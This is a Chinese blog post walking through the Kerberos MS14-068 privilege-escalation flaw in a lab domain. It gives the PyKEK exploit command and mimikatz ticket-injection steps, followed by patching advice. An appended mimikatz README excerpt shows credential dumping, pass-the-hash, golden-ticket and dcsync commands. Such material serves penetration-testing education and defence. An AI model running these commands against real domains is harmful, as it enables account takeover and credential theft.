域用户更改密码提示拒绝访问_Kerberos域用户提权漏洞(MS14068)

漏洞信息

漏洞名称:Kerberos域用户提权漏洞

漏洞编号:MS14-068,CVE-2014-6324

漏洞原理:

Kerberos协议是一种基于第三方可信主机的计算机网络协议,允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下,以一种安全的方式证明自己的身份。

b973c7a2c245c7eef4ee8bfc93dcd323.png

用户在向Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么返回给用户的TGT使得普通域用户拥有了域管理员权限。

该用户可以将TGT发送到KDC,KDC的票据授权服务(TGS)在验证了TGT后,将服务票据发送给该用户,而该用户拥有该服务的权限,导致活动目录整体权限控制受到影响,攻击者可以访问域内的资源,且可以将域内任意用户权限提升至域管理级别。

受影响的服务器:Windows Server 2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和Windows Server 2012 R2

漏洞利用

域控Windows Server 2008 R2:test1.test.com

普通域用户Windows7:域账号xiaoming/asdf1234@

本地账户:test/password

Windows7加入域参考https://jingyan.baidu.com/article/908080223b8f1afd91c80f30.html

利用条件:攻击者获取了域内任何一台计算机的shell权限,且知道任意域用户的用户名、SID、密码,即可获取域管理员权限。

利用工具:PyKEY,使用它可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。下载地址:https://github.com/mubix/pykek

0b4fb008539f398674a248db77f078dc.png

ms14-068.py是MS14-068的漏洞利用脚本。参数说明:

-u:用户名@域名;

-s:用户SID(security identifiers,安全标识符,是标识用户、组和计算机账户的唯一号码);

-d:域控制器地址;

-p:明文密码;

--rc4:在没有名为密码的情况下,通过NTLM Hash登录。

  • 查看域控制器的补丁安装情况

首先在域控检测是否有MS14-068漏洞,通过systeminfo命令查看是否打补丁来判断:

13463ba6e3f5f0f590a5bfe73ae001a4.png

微软针对MS14-068漏洞提供的补丁为KB3011780,可以看出域控机器没有安装补丁。

  • 查看用户的SID

Windows7用普通域用户xiaoming登录,查看SID:

c355fc24ca105776f4cc74993b6ee0ca.png

SID:S-1-5-21-3081188285-3032033982-3993785026-1105

还可以获取域内所有用户的SID:

9441e865e1af0aaf4956ad93c439d48b.png

  • 查看注入前的权限

访问域控的C盘共享:

ad4869457fd0aa30cb8fbd56d662a7a3.png

提示访问被拒绝。

  • 生成高权限票据

利用exp生成高权限票据:

python ms14-068.py -u 域成员@域名 -s 域成员SID -d 域控制器地址 -p 域成员密码

aa6f57960242f1b607934f4c02c811fd.png

会在当前路径下生成一个名为TGT_域成员@域名.ccache的票据文件:

e96ccf0881e5cc024a0c43e365121c47.png

  • 清除内存中所有票据

为了使我们生成的票据起作用,需要将内存中已有的Kerberos票据清除,清除工具使用mimikatz,下载地址:https://github.com/gentilkiwi/mimikatz/releases

a32081b86ca2b3c93f41c2e3d069194c.png

  • 将高权限票据注入内存

将票据文件复制到mimikatz目录下,使用mimikatz将票据注入内存:

kerberos::ptc “票据文件”

f1bca8325cfb530612ae4e1dfa3ba64c.png

显示Injecting ticket:OK,表示注入成功。

  • 权限验证

再次使用dir列出域控制器C盘的内容:

c2f65173cffd21876b67a940b94985ed.png

漏洞防范

1、        开启Windows update功能,进行自动更新

2、        对域内账号进行控制,禁止使用弱口令、定期修改密码等

3、        手动下载补丁包进行漏洞修复:https://technet.microsoft.com/library/security/ms14-068

参考

1、        https://www.freebuf.com/vuls/56081.html

2、        https://mp.weixin.qq.com/s/T4HU6k10m4x5CLNuLuGrfQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes). If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases Quick usage log privilege::debug sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi crypto crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export vault & lsadump vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local Build mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: - for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =) Synchronize! - GIT URL is : https://github.com/gentilkiwi/mimikatz.git - SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk - ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip Build the solution - After opening the solution, Build / Build Solution (you can change architecture) - mimikatz is now built and ready to be used! (Win32 / x64) - you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK. ddk2003 With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies) For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. Follow instructions: - http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader Licence CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ Author - Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync function in lsadump module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a personal development, please respect its philosophy and don't use it for bad things!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值